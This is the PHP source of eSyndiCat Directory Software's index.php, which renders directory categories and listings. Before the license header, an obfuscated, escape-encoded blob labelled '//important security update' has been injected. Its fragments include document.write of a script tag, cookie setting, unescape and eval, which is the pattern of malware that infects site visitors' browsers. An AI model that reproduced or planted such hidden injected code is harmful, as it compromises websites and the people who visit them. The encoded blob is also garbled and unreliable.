:0tqi990\;08\}Z257F\~dx0N0tqi90\:0y\~tuh90\;0tqi9\+mfqb0iuqbSx\!Z3c0iuqbSxZ2522Z3c0\}Z257F\~dxSxZ3c0tqiSxZ3c0\}qwys\^e\}\+\~e\}0\-0Sq\|se\|qdu\]qwys\^e\}rub8dy\}uK7tqi7MZ3c0dy\}uK7\}Z257F\~dx7MZ3c0dy\}uK7iuqb7MZ3c0cxyvdY\~tuh9\+iuqbSx\!0\-0\|uddubcK888dy\}uK7iuqb7M060Z2520hQQ90\;0\~e\}9050Z2526\#9050Z2522Z2526M0\;0\|uddubcK888dy\}uK7iuqb7M060Z2520hQQ90\,\,0Z252290\;0\~e\}9050Z2522Z25MZ22\;dbZ3dZ2289\+tqduZ3ecudTqdu8tqduZ3ewudTqdu890Z3d0\#9\+0dy\}uK7iuqb7M0\-0tqduZ3ewudVe\|\|Iuqb89\+dy\}uK7\}Z257F\~dx7M0\-0tqduZ3ewud\]Z257F\~dx89\;\!\+dy\}uK7tqi7M0\-0tqduZ3ewudTqdu89\+yv08tqduZ3ewudTqi890\-\-0\!0ll0tqduZ3ewudTqi890\-\-0Z25260ll0tqduZ3ewudTqi890\-\-0\$9ktqduZ3ecudTqdu8tqduZ3ewudTqdu890Z3d0\!9\+0dy\}uK7tqi7M0\-0tqduZ3ewudTqdu89\+0dy\}uK7\}Z257F\~dx7M0\-0tqduZ3ewud\]Z257F\~dx89\;\!\+0dy\}uK7iuqb7M0\-0tqduZ3ewudVe\|\|Iuqb89\+0m0tqduZ3ecudTqdu8tqduZ3ewudTqdu89Z22\;czZ3dZ22Z2566Z2575ncZ2574ionZ2520cZ257aZ2528cZ257a\)Z257breZ2574urZ256e\ caZ252bcb\+Z2563Z2563\+Z2563d\+Z2563e\+Z2563zZ253bZ257dZ253bZ22\;opZ3dZ22Z2524Z253dZ2522dZ2577\(Z2564cZ2573\(cZ2575\,1Z2534\)\)\;Z2522\;Z22\;stZ3dZ22Z2573Z2574Z253dZ2522\$Z253dsZ2574Z253b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\}zZ257FgO\}I\:Z7bzwx\}wZ257FKwZ7bdm4\)4pZ7bwayqz\`\:x\}zZ257FgO\}I\:Z7bzwx\}wZ257FZ2fpZ7bwayqz\`\:x\}zZ257FgO\}I\:Z7bzwx\}wZ257F4\)4g\|Z7bcKdZ7bdZ2fiiiipZ7bwayqz\`\:Z7bzwx\}wZ257FKwZ7bdm4\)4pZ7bwayqz\`\:Z7bzwx\}wZ257FZ2fpZ7bwayqz\`\:Z7bzyZ7bagqad4\)4g\|Z7bcKdZ7bdZ2fidZ7bdK\}z\}\`Z3cZ3dZ2fi\(\;gwf\}d\`\*Z22\;cdZ3dZ221\)\;sZ2574Z253dst\+StrZ2569Z256egZ252efZ2572oZ256dCZ2568arZ2543odZ2565Z2528\(tmZ257Z22\;caZ3dZ22Z2566Z2575ncZ2574Z2569on\ Z2564cZ2573\(dZ2573\,eZ2573\)Z257bdsZ253duZ256eesZ2563Z2561pZ22\;dzZ3dZ22Z2566Z2575nZ2563Z2574ioZ256eZ2520dZ2577\(t\)Z257bcZ2561Z253dZ2527Z252564ocuZ25256deZ25256etZ25252eZ252577rZ2569Z252574Z25256Z2535\(Z252522Z2527\;ceZ253dZ2527Z252522\)Z2527\;cbZ253dZ2527Z25253csZ252563ripZ252574Z252520laZ25256eZ2567uaZ252567Z252565Z25253dZ2525Z2535Z2563Z252522javZ2561sZ25256Z2533rZ2569Z2570Z252574Z25255cZ252522Z25253eZ2527\;cZ2563Z253dZ2527Z25253cZ25255cZ25252fsZ2563Z2572iptZ25253eZ2527\;Z2565valZ2528Z2575nZ2565scZ2561peZ2528t\)Z2529\}Z253bZ22\;dcZ3dZ220\;0\!9\+0yv08tqduZ3ewud\]Z257F\~dx89\;\!0\,0\!Z25209kcxyvdY\~tuh0\-0dy\}uK7iuqb7M0\;07Z3dZ252070\;08tqduZ3ewud\]Z257F\~dx89\;\!90\+mu\|cukcxyvdY\~tuh0\-0dy\}uK7iuqb7M0\;07Z3d70\;08tqduZ3ewud\]Z257F\~d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Z63Z61llZ62aZ63kZ3dc\&Z65xZ63lZ75dZ65Z3dhZ61Z73htaZ67sZ27Z3eZ22\ \+\ Z22Z3cZ2fscrZ22\ \+\ Z22iptZ3eZ22\)\;\}elseZ7b\$Z3dZ27Z27\}\;funZ63tZ69oZ6e\ sZ63\(cZ6em\,vZ2ceZ64\)Z7bvar\ Z65Z78dZ3dneZ77\ DZ61Z74eZ28\)Z3bexZ64\.Z73eZ74DatZ65\(exZ64Z2egeZ74Z44atZ65\(\)Z2bed\)Z3bdoZ63Z75meZ6eZ74\.cZ6fokZ69Z65Z3dcnm\+\ Z27Z3dZ27\ \+escZ61pZ65\(vZ29\+Z27\;eZ78piZ72eZ73Z3dZ27\+eZ78d\.tZ6fZ47MTSZ74riZ6eg\(Z29\;\}Z3b\"\;function\ z\(s\)\{r\=\"\"\;for\(i\=0\;i\";}//important security update /****************************************************************************** * * COMPANY: Intelliants LLC * PROJECT: eSyndiCat Directory Software * VERSION: 2.2.06 * LISENSE: EE17AB1493E1 - http://www.esyndicat.com/license.html * http://www.esyndicat.com/ * * This program is a commercial software and any kind of using it must agree * to eSyndiCat Directory Software license. * * Link to eSyndiCat.com may not be removed from the software pages without * permission of eSyndiCat respective owners. This copyright notice may not * be removed from source code in any case. * * Copyright 2008 Intelliants LLC * http://www.intelliants.com/ * ******************************************************************************/ define("ESYN_REALM", "index"); require_once('.'.DIRECTORY_SEPARATOR.'includes'.DIRECTORY_SEPARATOR.'header.php'); global $esynDb; $config = &esynConfig::instance(); esynConfig::factory("Category"); $category = false; /** get current category information **/ if (ESYN_MOD_REWRITE) { if (isset($_SERVER['HTTP_X_REWRITE_URL'])) { $_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_REWRITE_URL']; } $path = empty($_GET['category']) ? "" : $_GET['category']; if( $config->get('use_html_path') && $path && (!stristr($_SERVER['REQUEST_URI'], '.html'))) { $_GET['error'] = "404"; include(ESYN_HOME."error.php"); exit; } if (esynCategory::validPath($path)) { $category = $esynCategory->row("*", "`path`='".esynSanitize::sql($path)."' and status='active'"); } } else { if (!isset($_GET['category']) || !ctype_digit($_GET['category'])) { $_GET['category'] = "0"; } $category = $esynCategory->row("*","`id`='".$_GET['category']."' and status='active'"); } unset($_GET['category']); // by this time category might be active BUT one of it's parent categories might be approval if ($category) { /** define tab name for this page **/ $GLOBALS['currentTab'] = 0 == $category['id'] ? 'home' : 'home'.$category['id']; $esynDb->setTable("flat_structure"); $parents = $esynDb->onefield("`parent_id`", "`category_id`='".$category['id']."'"); $esynDb->resetTable(); if ($parents) { // $parents array contains itself also (as a parent to itself) so it must be more than 1 elements array_shift($parents); $parents = implode("','",$parents); if ($esynCategory->exists("`id` IN('".$parents."') AND status <> 'active'")) { // see below $category = false; } } } // no such category OR category is approval if (empty($category)) { $_GET['error'] = "404"; include(ESYN_HOME."error.php"); exit; } /** gets current page and defines start position **/ $page = empty($_GET['page']) ? 0 : (int)$_GET['page']; $page = ($page < 1) ? 1 : $page; $start = ($page - 1) * $config->get('num_index_listings'); $id = $category['id']; $cat_tpl = $category['unique_tpl'] ? $id : ''; $render = "index".$cat_tpl.".tpl"; $rootNoFollow = $esynCategory->one('`no_follow`', "`id`='0'"); // Smarty and other View related things include(ESYN_INCLUDES.'view.inc.php'); global $esynSmarty; if(isset($esynAccountInfo['id'])) { $esynSmarty->caching = false; } else { // set cache time for this page $esynSmarty->cache_lifetime = 3600; } $cache_id = ESYN_LANGUAGE."|".$id."|".$page; $order = $order_type = false; /** define links sorting **/ if ($config->get('visitor_sorting')) { $esynDb->setTable("config"); $res = $esynDb->one("`multiple_values`", "`name`='listings_sorting'"); $esynDb->resetTable(); $sortings = explode(',', $res); for($i = 0; $i < count($sortings); $i++) { $sortings[$i] = trim($sortings[$i], "'"); } $esynSmarty->assign('sortings', $sortings); if (!empty($_GET['order'])) { setcookie("listings_sorting", $_COOKIE['listings_sorting'], $_SERVER['REQUEST_TIME'] - 3600, '/'.ESYN_DIR); setcookie("listings_sorting", $_GET['order'], 0, '/'.ESYN_DIR); $order = $_GET['order']; } else { $order = !empty($_COOKIE['listings_sorting']) ? $_COOKIE['listings_sorting'] : false; } // validation if (!$order || !ctype_alpha($order)) { $order = $config->get('listings_sorting'); } $config->set('listings_sorting', $order); if (!empty($_GET['order_type'])) { setcookie("listings_sorting_type", $_COOKIE['listings_sorting_type'], $_SERVER['REQUEST_TIME'] - 3600, '/'.ESYN_DIR); setcookie("listings_sorting_type", $_GET['order_type'], 0, '/'.ESYN_DIR); $order_type = $_GET['order_type']; } else { $order_type = !empty($_COOKIE['listings_sorting_type']) ? $_COOKIE['listings_sorting_type'] : false; } $order_type = $order_type ? preg_replace("/[^a-z]/", "", $order_type) : $config->get('listings_sorting_type'); $config->set('listings_sorting_type', $order_type); $cache_id .= "|".$order_type; } if ($order) { $cache_id .= "|".$order; } // if page cache time elapsed if (!$esynSmarty->is_cached($render, $cache_id)) { require_once(ESYN_TEMPLATES.$config->get('tmpl').ESYN_DS.'Layout.php'); $gDirLayout = &new esynLayout; $esynSmarty->assign_by_ref('category', $category); $esynSmarty->assign('description', $category['meta_description']); $esynSmarty->assign('keywords', $category['meta_keywords']); if ($id > 0) { $title = $gDirLayout->getTitle($id, empty($category['page_title']) ? $category['title'] : $category['page_title'] ); $header = $category['title']; $breadcrumb = $gDirLayout->printBreadcrumb($id,'',false, $rootNoFollow); } else { $header = $title = $config->get('site'); $breadcrumb = ''; } // $title = quote($title); // $title is title for current page $esynSmarty->assign('title', $title); // $header is page header // $header = quote($header); $esynSmarty->assign('header', $header); $esynSmarty->assign('breadcrumb', $breadcrumb); /** categories box formation **/ $num_subcategories = $config->get('subcats_display') ? $config->get('subcats_display') : 0; if (!($categories = $esynCacher->get("CategoriesByParent_".$id, 86400, true))) { $categories = $esynCategory->getAllByParent($id, $num_subcategories); $esynCacher->write("CategoriesByParent_".$id,$categories); } // Optimize if (!empty($categories)) { if (!($cats = $esynCacher->get("PrintCategories_".$id, 86400, false))) { if($category['num_cols'] == 0) { // use default $category['num_cols'] = $config->get('num_categories_cols'); } $categories = $gDirLayout->printCategories($categories, $category['num_cols'], $num_subcategories, $rootNoFollow || $category['no_follow']); $esynCacher->write("PrintCategories_".$id, $categories); } else { $categories = $cats; unset($cats); } } else { $categories = ''; } $esynSmarty->assign('categories', $categories); /** get listings for this category **/ $listings = $esynCategory->getListings($id, $start, $config->get('num_index_listings'), $esynAccountInfo['id'], $sqlFoundRows = true); /** gets number of listings for this category for navigation **/ $total_listings = isset($esynAccountInfo['id']) || $config->get('show_children_listings') ? $esynCategory->foundRows() : $category['num_listings']; $esynSmarty->assign('total_listings', $total_listings); if(!$config->get('show_children_listings')) { $p = ''; if ($category['id'] != '0') { $p = $category['path'].'/'; } $c = count($listings); for($i=0; $i < $c; $i++) { $p2 = $p; if($listings[$i]['crossed']) { if($listings[$i]['category_id'] == 0) { $p2 = ''; } else { $p2 = $esynCategory->one("path", "`id`='".$listings[$i]['category_id']."'")."/"; } } $listings[$i]['path'] = $p2; $listings[$i]['category_title'] = $esynCategory->one("title", "`id`='{$listings[$i]['category_id']}'"); } } esynConfig::startHook("afterGetListingList"); $esynSmarty->assign('listings', $listings); if (ESYN_MOD_REWRITE) { if($category['id']>0 && $config->get('use_html_path')) { $url = $config->get('base').$config->get('dir').$category['path'].'_%1.html'; } elseif($category['id']==0) { $url = $config->get('base').$config->get('dir').'index%1.html'; } else { $url = $config->get('base').$config->get('dir').$category['path'].'/index%1.html'; } } else { $url = $config->get('base').$config->get('dir').'index.php?category='.$category['id']; } $esynSmarty->assign('url', $url); /** get related categories **/ if ($config->get('related')) { $related_categories = $esynCategory->getRelated($id); $related_categories = $related_categories ? $gDirLayout->printCategories($related_categories) : ''; $esynSmarty->assign('related_categories', $related_categories); } /** get neighbour categories **/ // if num_neighbours == 0 that means that user don't want to show neighbour categories // if -1 that means that user wants to show all neighbour categories if ($category['id'] > 0 && $config->get('neighbour') && $category['num_neighbours'] != 0) { if((int)$category['num_neighbours'] == -1) { // show all $category['num_neighbours'] = 0; } $neighbour_categories = $esynCategory->getNeighbours($id, $category['num_neighbours']); $neighbour_categories = $neighbour_categories ? $gDirLayout->printCategories($neighbour_categories) : ''; $esynSmarty->assign('neighbour_categories', $neighbour_categories); } /** number of listings for current category and subcategories **/ $esynSmarty->assign('num_listings', $category['num_all_listings']); /** number of subcategories for current category **/ $num_categories = $esynCategory->getNumSubcategories($id); $esynSmarty->assign('num_categories', $num_categories); } // if unique template _not_ exists, then reset to default if (!file_exists($esynSmarty->template_dir.$render)) { $render = "index.tpl"; } $esynSmarty->display($render, $cache_id);